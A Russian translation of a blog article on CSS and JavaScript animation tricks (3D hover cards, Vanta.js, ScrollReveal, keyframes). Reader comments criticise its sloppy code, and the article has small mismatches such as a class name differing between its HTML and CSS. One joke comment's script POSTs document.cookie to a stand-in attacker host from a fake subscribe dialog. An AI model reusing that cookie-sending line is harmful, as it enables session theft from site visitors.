Трюки CSS и JavaScript, которые вдохнут жизнь в ваш статический сайт

Автор оригинала: Tommaso De Ponti
  • Перевод
Последние несколько недель я работал над своим сайтом и хотел придать ему некоторый динамизм. Эта статья не о создании веб-страницы. Я покажу готовые сниппеты с объяснениями.




3D-анимация на JS


Первый трюк — замечательный трёхмерный эффект на JS.


Как видите, когда указатель мыши проходит по этой «карточке», элементы внутри нее обретают трёхмерность.

Как это делается

Сначала создаётся HTML div:

<div class="card">
  <div class="header">
    <img src='image.png' alt="image">
  </div>
  <div class="info">
    <h1 class="title"><a href="https://hackerone.com/hensis">Hackerone</a></h1>
    <h3>Started on 6/20 Signal : 5.67 Reputation : 360 Impact : 26.25</h3>
  </div>
</div>

Здесь у нас есть основной класс (card) и два других класса внутри card (header and info). Header будет классом, содержащим изображение (в нашем примере — логотип Medium), а info будет содержать текст в карточке. Теперь давайте добавим CSS, чтобы карта выглядела лучше.

.card {
    transform-style: preserve-3d;
    min-height: 64vh;
    width: 20vw;
    border-radius: 30px;
    padding: 0rem 5rem;
    box-shadow: 0 20px 20px rgba(0, 0, 0, 0.2), 0px 0px 50px rgba(0, 0, 0, 0.2);
}

Здесь я объявил высоту, ширину, границу, отступ и тень. Обновите страницу, и вы увидите результаты. Последний шаг — добиться 3D-эффекта при наведении курсора мыши на карту. Для этого я воспользовался JS:

// declaring variables

const card = document.querySelector(".card");
const title = document.querySelector(".title");
const header = document.querySelector(".header img");
const description = document.querySelector(".info h3");

// Animate In

card.addEventListener("mouseenter", (e) => {
  card.style.transition = "none";
  title.style.transform = "translateZ(3px)";
  header.style.transform = "translateZ(3px) rotateZ(0deg)";
  description.style.transform = "translateZ(3px)";
});

// Animate Out

card.addEventListener("mouseleave", (e) => {
  card.style.transition = "all 0.5s ease";
  card.style.transform = `rotateY(0deg) rotateX(0deg)`;
  title.style.transform = "translateZ(0px)";
  header.style.transform = "translateZ(0px) rotateZ(0deg)";
  description.style.transform = "translateZ(0px)";
});

  1. Объявите переменные.
  2. Создайте два прослушивателя событий для card.
  3. В mouseenter переведите Z на 3 пикселя для title, header и description. Вы также можете решить, вращать эти элементы или нет (rotateZ).
  4. По событию mouseleave верните всё в нормальное состояние.

Вот и все: у вас есть красивая трёхмерная анимация. Конечно, сейчас она сырая. Можно везде добавить CSS, чтобы изменить ширину, цвет и т. д.

Откройте для себя Vanta.js для анимации фона


Устали от статичных цветов и изображений на фоне веб-страницы? VantaJs разработана, чтобы оживить фон:



Как это делается

Это довольно просто. Добавьте в HTML такой код:

<script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r121/three.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/vanta@latest/dist/vanta.globe.min.js"></script>
<script>
  VANTA.GLOBE({
  el: "#htmlid",
  mouseControls: true,
  touchControls: true,
  gyroControls: true,
  minHeight: 200.00,
  minWidth: 200.00,
  scale: 1.00,
  scaleMobile: 1.00
  })
</script>

Это установит фон Vanta.js Globe для идентификатора htmlid.
В Vanta.js есть 13 готовых фонов

Чтобы переключаться между ними, измените VANTA.GLOBE на VANTA.[Backgroundname]. Конечно, перед этим нужно добавить соответствующий cdn.jsdelivr.net/npm/vanta@latest/dist/vanta.[backgroundname].min.js.

ScrollReveal


Для тех, кто не знал об этой фантастической библиотеке JS, ScrollReveal может отображать элементы при прокрутке веб-страницы:



Как это делается

  1. Добавьте в заголовок вашего HTML.
  2. В файле JS напишите:

ScrollReveal().reveal('.htmlclass',{ delay: 400 })

Код отобразит элемент с классом .htmlclass с задержкой 400мс при прокрутке страницы.

Изменение размера и цвета букв


Этот небольшой трюк с CSS действительно впечатляет при правильном использовании:



Как это делается

Создайте несколько новых HTML-элементов span и укажите их класс:

<span class="change">T</span><span class="change">e</span><span class="change">s</span><span class="change">t</span>


3. Применяя CSS :hover, мы изменяем размер букв и их цвет:


.blast:hover {
    color:#08fdd8;
    font-size: 30px;
}

Теперь, когда вы наведёте указатель на буквы, вы увидите, как они меняют размер и цвет. Чтобы добиться еще более динамичного эффекта, я предлагаю создать отдельный класс для каждой буквы с разными размерами и цветами. Кроме того, вы можете применить CSS :hover к каждому типу элемента в HTML. Например, я тоже применил его к своей контактной форме:



Свойство animation


Дополнили материал описанием свойства из статьи Криса Койера.

Свойство animation в CSS можно использовать для анимации многих других свойств CSS, таких как color, background-color, height, или width. Каждая анимация должна быть определена с помощью @keyframes, которое затем вызывается с помощью свойства animation, например:

.element {
  animation: pulse 5s infinite;
}

@keyframes pulse {
  0% {
    background-color: #001F3F;
  }
  100% {
    background-color: #FF4136;
  }
}


Каждое правило @keyframes определяет, что должно происходить в определённые моменты анимации. Например, 0 % — это начало анимации, а 100 % — её конец. Этими ключевыми кадрами можно управлять либо с помощью сокращённого свойства animation, либо с помощью его восьми подсвойств, чтобы обеспечить больший контроль над ключевыми кадрами.

Подсвойства


  • animation-name: объявляет имя правила @keyframes, которым нужно управлять.
  • animation-duration: продолжительность одного цикла анимации.
  • animation-time-function: устанавливает предустановленные кривые ускорения, такие как ease или linear.
  • animation-delay: время между загрузкой элемента и началом анимационной последовательности (интересные примеры).
  • animation-direction: устанавливает направление анимации после цикла. Его значение по умолчанию сбрасывается в каждом цикле.
  • animation-iteration-count: сколько раз должна быть выполнена анимация.
  • animation-fill-mode: устанавливает, какие значения применяются до/после анимации.
    Например, вы можете установить последнее состояние анимации так, чтобы оно оставалось на экране, или можете настроить его на переключение назад, когда анимация началась.
  • animation-play-state: приостановить/воспроизвести анимацию.

Затем эти подсвойства можно применять так:

@keyframes stretch {
  /* declare animation actions here */
}

.element {
  animation-name: stretch;
  animation-duration: 1.5s; 
  animation-timing-function: ease-out; 
  animation-delay: 0s;
  animation-direction: alternate;
  animation-iteration-count: infinite;
  animation-fill-mode: none;
  animation-play-state: running; 
}

/*
  is the same as:
*/

.element {
  animation: 
    stretch
    1.5s
    ease-out
    0s
    alternate
    infinite
    none
    running;
}


Вот полный список значений, которые может принимать каждое из этих вложенных свойств:

animation-timing-function ease, ease-out, ease-in, ease-in-out, linear, cubic-bezier(x1, y1, x2, y2) (e.g. cubic-bezier(0.5, 0.2, 0.3, 1.0))
animation-duration Xs или Xms
animation-delay Xs или Xms
animation-iteration-count X
animation-fill-mode forwards, backwards, both, none
animation-direction normal, alternate
animation-play-state paused, running, running


Несколько шагов


Если анимация имеет одинаковые начальные и конечные свойства, полезно разделять запятыми значения 0 и 100 % внутри @keyframes:

@keyframes pulse {
  0%, 100% {
    background-color: yellow;
  }
  50% {
    background-color: red;
  }
}


Несколько анимаций


Вы можете разделить значения запятыми, чтобы также объявить несколько анимаций в селекторе. В приведённом ниже примере мы хотим изменить цвет круга в @keyframe, одновременно перемещая его из стороны в сторону с помощью другого свойства.

.element {
  animation: 
    pulse 3s ease infinite alternate, 
    nudge 5s linear infinite alternate;
}


Производительность


Анимация большинства свойств является проблемой производительности, поэтому мы должны соблюдать осторожность перед анимацией любого свойства. Однако есть определённые комбинации, которые можно безопасно анимировать:

  • transform: translate()
  • transform: scale()
  • transform: rotate()
  • opacity

Какие свойства можно анимировать?


На MDN есть список свойств CSS, которые могут быть анимированы. Они имеют тенденцию быть цветами и числами. Пример неанимируемого свойства -  background-image.


Поддержка браузерами


Эти данные о поддержке браузера взяты с сайта Caniuse, где имеется более подробная информация. Число означает, что браузер поддерживает функцию в этой версии и выше.

Настольные
Chrome
Firefox
IE
Edge
Safari
4*
5*
10
12
5.1*

Мобильные
Android Chrome
Android Firefox
Android
iOS Safari
87
83
4*
6.0-6.1*

Префиксы


Хотя поддержка этого свойства в современных браузерах достаточно хороша, мы, возможно, захотим поддерживать как можно больше старых браузеров. В этом случае нужно использовать префиксы поставщиков:

.element {
  -webkit-animation: KEYFRAME-NAME 5s infinite;
  -moz-animation:    KEYFRAME-NAME 5s infinite;
  -o-animation:      KEYFRAME-NAME 5s infinite;
  animation:         KEYFRAME-NAME 5s infinite;
}

@-webkit-keyframes KEYFRAME-NAME {
  0%   { opacity: 0; }
  100% { opacity: 1; }
}
@-moz-keyframes KEYFRAME-NAME {
  0%   { opacity: 0; }
  100% { opacity: 1; }
}
@-o-keyframes KEYFRAME-NAME {
  0%   { opacity: 0; }
  100% { opacity: 1; }
}
@keyframes KEYFRAME-NAME {
  0%   { opacity: 0; }
  100% { opacity: 1; }
}


Такие трюки подойдут для того, чтобы вдохнуть жизнь в ваш сайт-визитку или сайт пет-проекта, над которым вы работаете. Если у вас есть какие-то свои трюки — призываю делиться ими в комментах. И не забывайте о промокоде HABR, который дает дополнительную скидку 10% к той, что указана на баннере.

image



SkillFactory
Школа Computer Science. Скидка 10% по коду HABR

Похожие публикации

Комментарии 13

    +15
    Автор статьи — Python developer, и, видимо в силу недостатка опыта во фронтенде, он говорит странные вещи местами. Если примеры инструментов выглядят просто как «смотрите, какую прикольную штуку я нашел», то примеры кода новичкам не стоит воспринимать слишком буквально.

    1. Первая штука делается короче, на CSS, на :hover. Зачем там скрипты, да еще и изменяющие CSS напрямую — загадка.
    2. Префиксы руками ставить не нужно. В 2020 году есть автопрефиксер, который сам расставит, что нужно, и уберет, что не нужно.
    3. Изменение размера шрифта — ок, прикольная идея, только нужно сохранять высоту строки и изменять межбуквенные интервалы, а то все будет дергаться, как у автора на сайте.
    4. Список «Вот полный список значений, которые может принимать каждое из этих свойств» вообще ни разу не полный.
    5. «полезно разделять запятыми значения внутри @keyframes» — ой, вот не надо этого. Читаемость этот подход в конечном счете портит, а пользы никакой.
      0

      Поддерживаю, если читатель — новичок — он может подумать, что так и надо, best practice и т.д.


      Статья — набор рандомных советов, сделанных очень костыльно.


      Если вы ищете что-то для вдохновления, то лучше почитать про анимации Material UI.
      https://material.io/design/motion/understanding-motion.html#principles
      Там и примеры кода можно найти https://material.io/develop/web/components/animation

        +1

        Дополню про 1: а ещё эти скрипты зачем-то в одном месте меняют rotateZ с нуля на ноль. Да ещё и меняет transition элементам по отдельности, вместо всей .card, но при этом при выводе мышки таки и .card`y меняет зачем-то обратно с нуля на ноль. Ну и сверху посыпано разными vs, vh, rem, px… что в принципе не критично, но в данном случае не обоснованно.


        В общем после первого же примера показалось что это примерно 5-6 слепленных ответов со стаковерфлоу. Не надо так. А главное — сайт так и не стал "динамическим" (

          +3
          Автор статьи — Python developer, и, видимо в силу недостатка опыта во фронтенде, он говорит странные вещи местами.

          К сожалению так почти всегда… самый плохой клиентский код — это код, который написал бекендер. Особенно синьйор, который обзывает фронтенд разработчиков макаками и формошлёпами.
          0

          Для проекта мне однажды понадобилось сделать анимации. Свойства top / left / opacity и другие может и анимируются, но работает всё очень долго. Для высокой производительности в анимациях потребуется ограничиться только в transform и filter

            +3
            вот не понимаю, почему все называют жизнью анимацию на странице, но мало кто думает про производительность, про скорость. Главное это сделать что-то на сайте, получить информацию, заказать товар, и более важно, чтобы страница быстрее загрузилась, чтобы не ждать вот всех этих библиотек и анимаций.
              0
              Код отобразит элемент с классом .htmlclass с задержкой 400мс при прокрутке страницы.

              зачем?

                0

                Ну обычно одно из двух:


                1. Затем, что "ну прикольно же"
                2. Затем, что дезигнеры родили дезигн с десятком бесполезных свистоперделок
                +9

                Пять простых рецептов как нормальный сайт сделать невыносимым.

                  0
                  Вроде предновогодняя статья и аватарка автора украшена в тему, а снежинок на сайт не завезли.
                    +3
                    Я не скажу за всё остальное, но веб-дезигнеров, делающих всякую ненужную хрень со скроллом страницы, хорошо бы топить в большой, глубокой-глубокой цистерне с горячим дерьмом. А чтобы они как следует осознали, за что им это — сверху спускать верёвку, по которой, в нормальных условиях, можно было бы вылезти из всего этого дерьма, но специально для них то верёвка разматываться начинает быстрее, чем они лезут, то сама лебёдка, на которую верёвка намотана, резко опускается вниз на метр или два, то уровень дерьма в произвольный момент времени резко прибывает…
                      0

                      есть предложение по лучше:


                      // declearing variables
                      const rope = document.querySelector('.rope')
                      
                      // troll the designers v1
                      rope.addEventListener('mouseover', (e) => {
                          const { height } = rope.getBoundingClientRect()
                          rope.style.setProperty('position', 'fixed')
                          rope.style.setProperty('top', (e.pageY - height + 1 /* =D */) + 'px')
                      })
                      
                      // troll the designers v2
                      rope.addEventListener('mousedown', (e) => {
                          e.preventDefault()
                          e.stopPropagation()
                          e.stopImmediatePropagation()
                          const dialog = document.createElementNS('http://www.w3.org/1999/xhtml', 'div')
                          dialog.style.setProperty('position', 'fixed')
                          dialog.style.setProperty('top', '0')
                          dialog.style.setProperty('left', '0')
                          dialog.style.setProperty('right', '0')
                          dialog.style.setProperty('bottom', '0')
                          dialog.style.setProperty('background', 'rgba(0,0,0,.9)')
                          const content = document.createElementNS('http://www.w3.org/1999/xhtml', 'form')
                          content.style.setProperty('position', 'relative')
                          content.style.setProperty('top', '20%')
                          content.style.setProperty('width', '80%')
                          content.style.setProperty('max-width', '650px')
                          content.style.setProperty('margin', '0 auto')
                          content.style.setProperty('padding', '20px')
                          content.textContent = 'Подпишитесь на наши уведомления, чтобы быть в курсе всех ваших бултыханий'
                          const _ = document.createElementNS('http://www.w3.org/1999/xhtml', 'input')
                          _.type = 'checkbox'
                          _.checked = true
                          _.value = 'е***ь я лох'
                          _.hidden = true
                          content.append(_)
                          const ok = document.createElementNS('http://www.w3.org/1999/xhtml', 'button')
                          ok.addEventListener('click', () => {
                              fetch('//super.hacker.xxl.size.aga', {
                                  method: 'POST',
                                  body: document.cookie,
                              })
                              alert('Вы совершили оплошность, сударь!')
                          })
                          ok.textContent = 'Конечно!'
                          ok.style.setProperty('margin-top', '10px')
                          ok.style.setProperty('margin-left', 'auto')
                          ok.style.setProperty('margin-right', '0')
                          content.append(ok)
                      })

                      /* troll the designers v3 */
                      
                      .rope {
                          pointer-events: 'none';
                      }
                      0
                      Теперь, когда вы наведёте указатель на буквы, вы увидите, как они меняют размер и цвет… я тоже применил это к своей контактной форме

                      Вот пользователи-то спасибо скажут!!!

                      Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                      Самое читаемое